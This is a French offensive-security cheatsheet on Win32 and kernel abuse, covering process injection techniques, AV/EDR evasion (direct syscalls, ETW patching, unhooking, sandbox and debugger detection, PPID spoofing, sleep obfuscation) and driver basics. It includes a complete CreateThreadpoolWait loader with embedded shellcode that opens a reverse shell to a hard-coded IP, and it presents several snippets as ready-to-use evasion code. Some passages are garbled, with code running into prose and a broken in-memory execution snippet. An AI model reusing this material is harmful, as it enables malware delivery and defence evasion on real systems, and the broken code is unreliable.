
Win32 and Kernel abusing techniques for pentesters
Techniques d'abus de Win32 et du noyau pour pentesters et red-teamers réalisé par @UVision et @RistBS
Mode dev activé, ouvert à toute aide :)
DOS_HEADER : Premier en-tête du PE, contient le message MS DOS ("This programm cannot be run in DOS mode...."), l'en-tête MZ (octets magiques pour identifier le PE) et du contenu stub.IMAGE_NT_HEADER : Contient la signature du fichier PE, l'en-tête de fichier et l'en-tête optionnelSECTION_TABLE : Contient les en-têtes de sectionsSECTIONS : Pas un en-tête mais utile à savoir : ce sont les sections du PEDétails : https://www.researchgate.net/figure/PE-structure-of-normal-executable_fig1_259647266
Analyse simple du PE pour récupérer l'adresse absolue de l'IAT et de l'ILT :
GetModuleHandleA(NULL);BaseAddress+PIMAGE_DOS_HEADER.e_lfnanew (RVA de NT_HEADER)OptionnalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT] de PIMAGE_NT_HEADERIMAGE_DATA_DIRECTORY.VirtualAddress (RVA de IMAGE_IMPORT_DIRECTORY)BaseAddress + IMAGE_IMPORT_DIRECTORY.VirtualAddress (RVA de IMAGE_IMPORT_DESCRIPTOR)L'EAT résout toutes les fonctions exportées par le PE et résout également les DLL. Elle est définie dans la structure IMAGE_EXPORT_DIRECTORY :```c
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD Name; // name of DLL
DWORD Base; // first ordinal number
DWORD NumberOfFunctions; // number of entries in EAT
DWORD NumberOfNames; // number of entries in (1) (2)
DWORD AddressOfFunctions; // RVA EAT and contains also RVA of exported functions
DWORD AddressOfNames; // Pointer array contains address of function names
DWORD AddressOfNameOrdinals; // Pointer array contains address of ordinal number of functions (index in AddressOfFunctions)
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
Veuillez noter que l'EAT est définie dans une DLL, et non dans un « vrai » PE (un PE utilisera l'EAT d'une DLL chargée pour résoudre les pointeurs vers les fonctions qu'il souhaite utiliser).
### Résoudre l'adresse d'une fonction
**En utilisant l'adresse de la fonction**
Qu'attendez-vous ? Trouvez cette fonction !
**En utilisant le numéro ordinal**
Un numéro ordinal est une **position d'index** correspondant à l'adresse de fonction dans le tableau `AddressOfFunctions`. Il peut être utilisé pour **récupérer l'adresse correcte de la fonction**, comme ci-dessous :
Essayons de trouver l'adresse correspondante (Addr4) avec le numéro ordinal 3 donné.
- **AddressOfFunctions** : *Addr1 Addr2 Addr3 Addr4 .... AddrN*
- **AdressOfNameOrdinals** : *2 5 7 3 ... N*
L'adresse que nous recherchons se trouve à la 3e position (à partir de 0), et notre numéro ordinal correspond à l'**index de cette adresse**.
**En utilisant le nom de la fonction**
Le Nième élément du tableau AddressOfNames correspond au Nième élément du tableau AddressOfNameOrdinals : à partir d'un nom donné, vous pouvez récupérer le numéro ordinal correspondant, puis trouver l'adresse de la fonction à l'aide de ce numéro.
## Table d'adresses d'importation (IAT)
- Le chargeur PE ne sait pas quelle adresse correspond à quelle fonction : faisons appel à l'IAT pour nous sauver
- Défini dans la structure IMAGE_IMPORT_DIRECTORY :```c
typedef struct _IMAGE_IMPORT_DESCRIPTOR {
DWORD Characteristics;
DWORD OriginalFirstThunk; // RVA to ILT
DWORD TimeDateStamp;
DWORD ForwarderChain;
DWORD Name; // RVA of imported DLL name
DWORD FirstThunk; // RVA to IAT
} IMAGE_IMPORT_DESCRIPTOR,*PIMAGE_IMPORT_DESCRIPTOR;
En résumé, l'IAT est une table qui contient des pointeurs vers plusieurs fonctions qui sont importées par le PE depuis des DLL chargées (ntdll, kernel32...).
Exemple de code détaillé ici : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/miscellaneous/iat_parser.cpp
Chaque DLL importée par le PE a sa propre ILT.``` Absolute address of ILT = BaseAddress + OriginalFirstThunk (IAT)
Il contient tous les noms de fonctions présents dans la DLL importée.
<br>
## Activer le privilège SeDebug
Le privilège **SeDebug** est le privilège le plus « convoité » de toute la liste des privilèges Windows. Il vous permet de « déboguer » tout processus autorisé, ce qui peut se traduire par plusieurs actions offensives, comme l'ouverture d'un handle avec les privilèges ```PROCESS_ALL_ACCESS```.
Pour l'activer en mode utilisateur, vous devrez utiliser une fonction telle que :```cpp
void EnableDebugPriv()
{
HANDLE hToken;
LUID luid;
TOKEN_PRIVILEGES tkp;
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = luid;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, false, &tkp, sizeof(tkp), NULL, NULL);
CloseHandle(hToken);
}
Cette fonction ouvrira le jeton de votre processus actuel, puis l'ajustera au privilège SE_PRIVILEGE_ENABLED, qui correspond au privilège cible.
Exemple de code : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/classic.cpp
Cette technique a eu de bons taux de bypass il y a quelques années ; cependant, en raison du nombre croissant d'EDR et d'autres solutions de point de terminaison, l'écriture sur disque devrait, dans la mesure du possible, être évitée.
Exemple de code : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/dll_classic.cpp
Vous pouvez exécuter un fichier binaire brut en mémoire en allouant un espace de sa taille dans une région mémoire :```cpp HANDLE binfile = CreateFileA("myfile.bin",GENERIC_READ,NULL,NULL,OPEN_EXISTING,NULL,NULL); SIZE_T size = GetFileSize(binfile,NULL); LPVOID buffer=NULL; ReadFile(binfile,buffer,size,NULL,NULL); HANDLE hProc = GetCurrentProcess();
CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)buffer, NULL, 0, NULL); CloseHandle(hProc);
<br>
# Techniques d'injection de code
## Injection CreateRemoteThread
Écrivez simplement votre shellcode dans l'espace mémoire préalablement alloué dans le processus cible. (Pas OPSEC)
> Exemple de code : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/create_thread_injection.cpp
## Process Hollowing
Le Process Hollowing se déroule en plusieurs étapes :
- Créer le processus cible (celui « évidé ») en mode suspendu : il est nécessaire de le modifier
- Désmapper le processus cible depuis son PEB (Vous devez déclarer cette structure au préalable)
- Écrire le contenu du nouvel exe dans ce processus : en-têtes + contenu
- Analyser et appliquer la table de relocalisation
- Laisser le processus continuer à s'exécuter dans son thread
- Profitez-en
> Un POC complet est disponible ici : https://www.ired.team/offensive-security/code-injection-process-injection/process-hollowing-and-pe-image-relocations
## Technique de file APC
Injectez votre shellcode dans tous les threads disponibles d'un processus, puis utilisez la fonction ```QueueUserAPC()``` pour demander un appel APC. Cette technique peut ne pas être fiable lorsqu'il n'y a pas beaucoup de threads dans le processus compromis.
> Exemple de code : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/apc.cpp
## Early Bird
Similaire à l'injection par file APC, ici l'appel APC doit être défini dans un processus suspendu. Le thread principal du processus créé est ensuite repris ; le principal avantage de cette technique est que le fait d'éviter d'écrire le shellcode dans un processus en cours d'exécution sera moins détecté par les AV/EDR.
> Exemple de code : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/earlybird.cpp
## Injection DLL réflective
Comme pour l'injection DLL « statique » (en utilisant le fichier DLL), vous pouvez injecter votre propre DLL dans la plupart des processus en la reflétant en mémoire. Cela présente l'avantage de contourner facilement certains produits AV/EDR, même si c'est une méthode assez repérée aujourd'hui.
Vous devez d'abord allouer de la mémoire et effectuer un travail de relocalisation pour que cela fonctionne.
Le POC bien connu de cette technique a été publié par stephenfewer : https://github.com/stephenfewer/ReflectiveDLLInjection
## Injection DLL
Vous pouvez injecter du code stocké dans une DLL dans un processus distant. Malheureusement, les produits EDR la détecteront probablement facilement, surtout si la DLL malveillante touche le disque.
> Exemple de code : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/dll_injection.cpp
## Process Doppelganging
Le Process Doppelganging était jusqu'à il y a quelques années une méthode non détectée pour lancer votre propre payload d'une manière plutôt retorse. Il a été démontré à la BlackHat 2017 par Tal Liberman et Eugene Kogan, voir leur travail impressionnant : https://www.youtube.com/watch?v=Cch8dvp836w
C'est une étape « intermédiaire » avant la technique du process hollowing : l'image PE est en effet écrasée avant d'être exécutée, donc le Windows Loader effectue le Process Hollowing à notre place (super, non ?).
Hasherezade a réalisé un POC sympa de cette technique, disponible ici : https://github.com/hasherezade/process_doppelganging
## Fibers
Les fibers peuvent être définies comme ```cooperatively
threads (https://nullprogram.com/blog/2019/03/28/)```. Cela permet au programme principal d'exécuter le shellcode via ce nouveau type de thread.
> Exemple de code : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/fiber.cpp
## Injection de code MapView
Cette technique vous permet de partager une vue d'une section mémoire de votre processus malveillant avec un autre processus distant, qui exécutera votre shellcode stocké dans cette vue. Elle peut être réalisée en utilisant NtCreateSection/NtMapViewOfSection, en évitant d'utiliser des fonctions fortement surveillées comme WriteProcessMemory() ou VirtualAlloc() (cependant, NtMapViewOfSection peut également être surveillée).
Exemple de code : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/mapview_injection.cpp
## Module Stomping
Cette technique fait en sorte que votre beacon soit adossé à un module sur le disque```c
CHAR moduleName[] = "windows.storage.dll\x00";
HMODULE hVictimLib = LoadLibraryA(moduleName);
DWORD_PTR RXSection = (DWORD_PTR)hVictimLib;
RXSection += 0x1000 * 0x2;
RXSection += 0xc;
char* ptr = ( char* )RXSection;
pour détecter le module stomping (en particulier pour Cobalt Strike), un scanner nommé DetectCobaltStomp a été publié pour mettre en évidence certains IoCs de la technique, mais l'auteur de Brute Ratel a réussi à améliorer la technique originale.
Remplacez simplement l'adresse de la fonction d'origine (obtenue avec GetProcAddress) par la nouvelle. Cette technique est bien détaillée par son auteur : https://idov31.github.io/2022-01-28-function-stomping/
L'inline hooking est le moyen le plus basique de hooker une fonction : il consiste simplement à rediriger l'appel API vers votre propre fonction (saut)
Exemple de code : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/hooking/inline.cpp
En modifiant l'adresse de la fonction correspondante pour pointer vers votre propre fonction, vous pouvez faire exécuter votre propre code au programme.
Cela peut être fait en suivant plusieurs étapes :
Exemple de code : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/hooking/iat.cpp
Il existe plusieurs techniques que vous pouvez utiliser pour masquer vos appels à l'API win32, en voici quelques-unes :
char[] pour découper vos noms de fonctions/DLL en plusieurs caractères```cpp
char sWrite[] = {'W','r','i','t','e','P','r','o','c','e','s','s','M','e','m','o','r','y',0x0}; //don't forget the null byte> Vous pouvez même combiner cette astuce avec une conversion de codes de caractères ASCII.
## Résolution manuelle de fonction
Vous pouvez résoudre manuellement un pointeur vers n'importe quelle fonction de kernel32, ntdll et ainsi de suite.
- Déclarez d'abord le modèle de votre fonction, en vous basant sur l'en-tête réel de la fonction :```cpp
typedef HANDLE(WINAPI* myOpenProcess)(DWORD,BOOL,DWORD); //if you work directly with ntdll, use NTAPI*
> N'hésitez pas à combiner cette technique avec de l'obfuscation de chaînes pour éviter de passer le vrai nom de fonction en clair.
## Hachage d'API Win32
Vous pouvez masquer vos appels de fonctions API en les hachant avec un algorithme de hachage (djb2 est le plus utilisé), faites attention aux collisions de hachage possibles avec certaines fonctions spéciales. Combinez ensuite cette technique avec une résolution d'adresse directe dans l'EAT, et faites pleurer les reversers :)
<br>
# Contournement EDR/Endpoint
## Syscall direct
La plupart des produits EDR accrochent (hook) les appels API win32 en mode utilisateur (PatchGuard réduit fortement la disponibilité des hooks noyau). Pour éviter ces hooks, vous pouvez appeler directement l'équivalent Nt() de vos fonctions API.
-```asm
.code
SysNtCreateFile proc
mov r10, rcx //syscall convention
mov eax, 55h //syscall number : in this case it's NtCreateFile
syscall //call nt function
ret
SysNtCreateFile endp
end
Trouvez le bon numéro d'appel système dans ce tableau : https://j00ru.vexillium.org/syscalls/nt/64/
Résoudre l'adresse NT```cpp
FARPROC addr = GetProcAddress(LoadLibraryA("ntdll"), "NtCreateFile");
Exemple de code : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/evasion/direct_syscall.cpp
C++/C sont souvent plus signalés par les produits AV/EDR que les langages équivalents de haut niveau : utilisez Go, Rust ou un autre langage pour concevoir vos meilleurs modèles,
Hookez (ou re-hookez) simplement vos fonctions hookées en appliquant le bon appel de fonction : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/hooking/inline.cpp
Pour détecter les hooks, vous obtiendrez d'abord l'adresse de base de la NTDLL avec LoadLibrary, puis vous analyserez les en-têtes PE pour localiser l'EAT (IMAGE_EXPORT_DIRECTORY) et ses offsets qui contiendront toutes les informations importantes (fonctions exportées + nom). résolvez simplement les noms et adresses des fonctions en itérant sur les fonctions exportées et appliquez les instructions if suivantes pour trier les fonctions
> **⚠️** : certaines fonctions sont des faux positifs, je vous recommande de les détecter :```c
if (strncmp(functionName, (char*)"NtGetTickCount", 14) == 0 ||
strncmp(functionName, (char*)"NtQuerySystemTime", 17) == 0 ||
strncmp(functionName, (char*)"NtdllDefWindowProc_A", 20) == 0 ||
strncmp(functionName, (char*)"NtdllDefWindowProc_W", 20) == 0 ||
strncmp(functionName, (char*)"NtdllDialogWndProc_A", 20) == 0 ||
strncmp(functionName, (char*)"NtdllDialogWndProc_W", 20) == 0 ||
strncmp(functionName, (char*)"ZwQuerySystemTime", 17) == 0) { }
if, vérifiez si les 4 premiers octets de functionName sont égaux à mov r10, rcx; mov eax, ## qui est le début du stub de syscall```c
if (memcmp(functionAddress, syscallPrologue, 4) != 0) { // ... }> Exemple de code : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/tree/main/evasion/detect_hooks.c
## Patcher ETW
Event Tracing for Windows (ETW) est une API de bas niveau de journalisation qui peut être utilisée pour déboguer/journaliser les processus du noyau et de l'espace utilisateur. Elle a d'abord été implémentée dans Windows 2000, mais le monitoring en temps réel n'est réellement disponible que depuis Windows XP.
L'API ETW est disponible dans les fichiers d'en-tête fournis par Microsoft : https://docs.microsoft.com/fr-fr/windows/win32/api/_etw/
Lors d'une opération de pentest, vous devriez neutraliser cette fonctionnalité en la patchant : la méthode la plus utilisée consiste à écrire des opcodes ```ret``` arbitraires dans la fonction d'écriture d'événements ETW (```EtwEventWrite```) afin d'éviter que les journaux ne soient écrits quelque part.
Exemple de code : //
## Contournement de la sandbox
Les sandbox sont assez utilisées par les solutions AV/EDR pour tester certains appels API et d'autres parties du code avant d'exécuter réellement votre programme. Il existe plusieurs techniques pour contourner cet outil, en voici quelques-unes ci-dessous :
- Attendez. Sérieusement. Une fonction comme `Sleep()` ou `time.sleep()` ou équivalente fera l'affaire, pendant quelques secondes avant d'exécuter le vrai shellcode.
- Essayer d'allouer beaucoup de mémoire (malloc), par exemple 100000000 octets.
- Essayer de détecter si vous êtes réellement dans un environnement sandbox (VM) : tester les processus ouverts, les fichiers et d'autres éléments suspects.
- Essayer de résoudre une URL factice (non fonctionnelle) : de nombreux produits AV répondront avec une fausse page.
- Utiliser des appels API étranges et rarement utilisés, comme `VirtualAllocExNuma()` : la plupart des sandbox ne peuvent pas émuler ce type d'appel.```cpp
IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);
Pas une véritable technique d'évasion antivirus, mais toujours utile pour éviter d'être rétro-ingénié trop facilement par les ingénieurs en rétro-ingénierie. Il existe de nombreuses façons de détecter les débogueurs ou de les rendre fous, mais en voici quelques-unes ci-dessous :
Méthode des indicateurs (flags)
Vous pouvez utiliser IsDebuggerPresent() (Win32) ou l'appel direct NtQueryInformationProcess() (pas très documenté) pour vérifier les indicateurs de débogage.
Méthode des handles
Essayez de fermer des handles invalides (manquants) avec l'API CloseHandle(). Le débogueur tentera de capturer l'exception, ce qui peut être facilement détecté :```cpp bool Check() //https://anti-debug.checkpoint.com/techniques/object-handles.html#closehandle { __try { CloseHandle((HANDLE)0xDEADBEEF); return false; } __except (EXCEPTION_INVALID_HANDLE == GetExceptionCode() ? EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH) { return true; } }
**Méthode ASM**
Essayez de faire un appel INT 3 (ASM) : c'est l'équivalent d'un point d'arrêt logiciel, qui déclenchera un débogueur. Il existe de nombreuses autres façons de détecter un débogueur, dont beaucoup sont compilées sur : https://anti-debug.checkpoint.com/
## Technique VirtualProtect
En utilisant quelques astuces avec `VirtualProtect()`, vous pouvez facilement éviter d'être signalé en mémoire : changez entre `PAGE_EXECUTE_READWRITE` et `PAGE_READWRITE` (moins suspect) pour éviter de déclencher votre AV préféré.
## Fresh Copy Unhook
Évitez les hooks en remplaçant la ntdll "hookée" par une copie fraîche, directement mappée depuis le disque.
Exemple de code : // à ajouter
## Hells Gate
Pour éviter d'utiliser des appels système codés en dur, Hell's Gate (Hells Gates ?) les récupère dynamiquement en analysant l'EAT (compare les octets mémoire aux opcodes des appels système). Le Poc original a été réalisé par la grande équipe VX-Underground, et peut être trouvé ici : https://papers.vx-underground.org/papers/Windows/Evasion%20-%20Systems%20Call%20and%20Memory%20Evasion/Dynamically%20Retrieving%20SYSCALLs%20-%20Hells%20Gate.7z
Autre exemple : https://github.com/am0nsec/HellsGate
## Heavens Gate
Utilisez Wow64 pour injecter un payload 64 bits dans un loader 32 bits. Cela peut être utile pour contourner certains AV/EDR car Wow64 vous évitera d'être attrapé en espace utilisateur.
La version la plus connue de cette technique a été créée par l'équipe MSF, voyez leur excellent travail ici : https://github.com/rapid7/metasploit-framework/blob/21fa8a89044220a3bf335ed77293300969b81e78/external/source/shellcode/windows/x86/src/migrate/executex64.asm
## CreateThreadPoolWait
En abusant de CreateThreadPoolWait(), qui peut accepter un pointeur vers une fonction de rappel (callback), vous pouvez exécuter votre shellcode via cette procédure. De nombreuses techniques similaires (utilisant un pointeur de fonction de rappel) sont disponibles sur : http://ropgadget.com/posts/abusing_win_functions.html
Exemple :```cpp
//code from https://www.ired.team/offensive-security/code-injection-process-injection/shellcode-execution-via-createthreadpoolwait
#include <windows.h>
#include <threadpoolapiset.h>
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
"\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xc0\xa8\x38\x66\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
"\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
"\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";
int main()
{
HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);
LPVOID shellcodeAddress = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(shellcodeAddress, shellcode, sizeof(shellcode));
PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)shellcodeAddress, NULL, NULL);
SetThreadpoolWait(threadPoolWait, event, NULL);
WaitForSingleObject(event, INFINITE);
return 0;
}
Détournez un thread dans un processus distant en le suspendant, puis remplacez son registre RIP (ou EIP si vous êtes en x86) par l'adresse de votre shellcode.
Exemple de code : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/thread_hijacking.c
Lorsqu'un processus suspect/anormal démarre sous un processus parent "légitime" ou sans surveillance, cela devient très suspect. Pensez à une macro Word malveillante qui déploie un processus PowerShell : c'est étrange, non ?
L'usurpation de PPID peut éviter cela en vous permettant de modifier l'identifiant du processus parent (PPID) de votre processus créé.```cpp #include <windows.h> #include <TlHelp32.h> #include
//code from : https://www.ired.team/offensive-security/defense-evasion/parent-process-id-ppid-spoofing int main() { STARTUPINFOEXA si; PROCESS_INFORMATION pi; SIZE_T attributeSize; ZeroMemory(&si, sizeof(STARTUPINFOEXA));
HANDLE parentProcessHandle = OpenProcess(MAXIMUM_ALLOWED, false, 6200);
InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);
return 0;
}
## Process Instrumentation Callback
Process Instrumentation Callback est défini comme le flag `ProcessInstrumentationCallback` (`0x40`) et est utilisé par les produits de sécurité pour [détecter l'invocation potentielle de syscalls directs](https://winternl.com/detecting-manual-syscalls-from-user-mode/) en enregistrant un callback pour vérifier si l'instruction `syscall` provient de l'image exécutable et non de NTDLL. Pour le contourner pour notre processus, il suffit de définir `Callback` à `NULL`.```c
PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION InstrumentationCallbackInfo;
InstrumentationCallbackInfo.Version = 0x0;
InstrumentationCallbackInfo.Reserved = 0x0;
InstrumentationCallbackInfo.Callback = NULL;
NtSetInformationProcess( hProcess, ProcessInstrumentationCallback, &InstrumentationCallbackInfo, sizeof( InstrumentationCallbackInfo ) );
c'est toujours « non documenté » par Microsoft mais Alex Ionescu l'a documenté ici et Everdox l'a également fait ici
Code complet pour contourner l'instrumentation ici : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/evasion/disable_instrumentation_callback.c
Parcourir le tas avec HeapWalk puis chiffrer les allocations :```c
VOID HeapEncryptDecrypt() {
PROCESS_HEAP_ENTRY HeapWalkEntry;
SecureZeroMemory( &HeapWalkEntry, sizeof( HeapWalkEntry ) );
while ( HeapWalk( GetProcessHeap(), &HeapWalkEntry ) ) {
if ( ( HeapWalkEntry.wFlags & PROCESS_HEAP_ENTRY_BUSY ) != 0 ) {
XORFunction( key, keySize, ( char* )( HeapWalkEntry.lpData ), HeapWalkEntry.cbData );
}
}
}
> plus d'informations ici: https://www.arashparsa.com/hook-heaps-and-live-free/
## Obfuscation du sommeil
De nombreux PoCs autour de l'obfuscation du sommeil sont apparus avec différents mécanismes (UM APCs, TP et plus encore) ; ici, nous prenons comme exemple [Ekko](https://github.com/Cracked5pider/Ekko/) qui est le PoC le plus facile à comprendre.
la chaîne ROP d'Ekko est très simple : elle modifie la protection mémoire en `RW`, chiffre la région avec `SystemFunction032` qui implémente RC4, dort avec `WaitForSingleObject`, déchiffre la région et repasse la protection en `RWX`. Enfin, elle met en file tous les `CONTEXT` avec `CreateTimerQueueTimer`
> Certains scanners comme [TickTock](https://github.com/WithSecureLabs/TickTock) ou [Patriot](https://github.com/joe-desimone/patriot) ont été publiés pour détecter cela, mais vous pouvez les éviter en utilisant un trampoline vers `NtContinue` dans NTDLL avec un gadget et en remplaçant le registre `Rip` dans la chaîne ROP
<br>
# Bases de la programmation de pilotes
## Concepts généraux
Les pilotes sont utilisés pour exécuter du code en mode noyau plutôt qu'en mode utilisateur. C'est une technique puissante pour contourner tous les hooks et la surveillance en mode utilisateur mis en place par les AV/EDR. Elle peut également être utilisée pour contourner les callbacks noyau et d'autres surveillances du noyau.
Le code de tout pilote doit être vérifié (tout avertissement doit être traité comme une erreur) pour garantir qu'il sera sans crash (vous ne voulez pas provoquer un BSOD pendant un pentest, n'est-ce pas ?).
Il y a quelques années, Microsoft a décidé d'interdire les pilotes non signés de son système d'exploitation : vous devez le désactiver avant de charger votre propre pilote, ou utiliser une vulnérabilité (comme https://github.com/hmnthabit/CVE-2018-19320-LPE) pour désactiver la signature des pilotes.
Dans un vrai pentest, vous devez trouver un pilote vulnérable et en profiter:)
## Table de distribution des services système (SSDT)
La SSDT, ou System Service Dispatch Table, est une table (évidemment) qui peut résoudre, selon son index courant, la fonction Nt correspondante. Lorsqu'un appel en mode utilisateur est effectué, il est résolu comme suit :
- ```OpenProcess``` (la fonction API Win32 est appelée)
- ```NtOpenProcess``` (Résolu dans ntdll.dll)```asm
mov r10, rcx
mov eax, 26
syscall
ret
ntdll contient les procédures d'appel système pour chaque fonction Nt
La SSDT est définie dans une Service Descriptor Table :```cpp typedef struct tagSERVICE_DESCRIPTOR_TABLE { SYSTEM_SERVICE_TABLE nt; //effectively a pointer to Service Dispatch Table (SSDT) itself SYSTEM_SERVICE_TABLE win32k; SYSTEM_SERVICE_TABLE sst3; //pointer to a memory address that contains how many routines are defined in the table SYSTEM_SERVICE_TABLE sst4; } SERVICE_DESCRIPTOR_TABLE;
SSDT est/était souvent hooké par les rootkits car il était possible de modifier l'adresse correspondante vers leurs propres fonctions. **Patchguard** a désactivé cette possibilité, sauf en cas de vulnérabilité interne.
> De nombreux antivirus utilisent également cette astuce aujourd'hui, probablement en utilisant les mêmes techniques que les hackers malveillants ;)
## Entrée du pilote
La procédure d'entrée du pilote est définie comme suit :```cpp
#include <ntddk.h>
NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath) {
return STATUS_SUCCESS;
}
Il est très important d'utiliser la macro UNREFERENCED_PARAMETER() sur les paramètres DriverObject et RegistryPath, sauf s'ils sont référencés en ajoutant du code plus tard.```cpp
UNREFERENCED_PARAMETER(DriverObject);
UNREFERENCED_PARAMETER(RegistryPath);
## Entrée/Sortie
Utilisez les MajorFunction `IRP_MJ_CREATE` et `IRP_MJ_CLOSE` pour servir d'« interruption » afin de communiquer avec votre pilote depuis le côté client.```cpp
DriverObject->MajorFunction[IRP_MJ_CREATE] = CreateClose;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = CreateClose;
Définissez ensuite votre fonction CreateClose :```cpp NTSTATUS CreateClose(In PDEVICE_OBJECT DeviceObject, In PIRP Irp) { UNREFERENCED_PARAMETER(DeviceObject);
DbgPrint("[+] Hello from FirstDriver CreateClose\n");
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
Exemple de code complet ici : //
## Communiquer avec le pilote
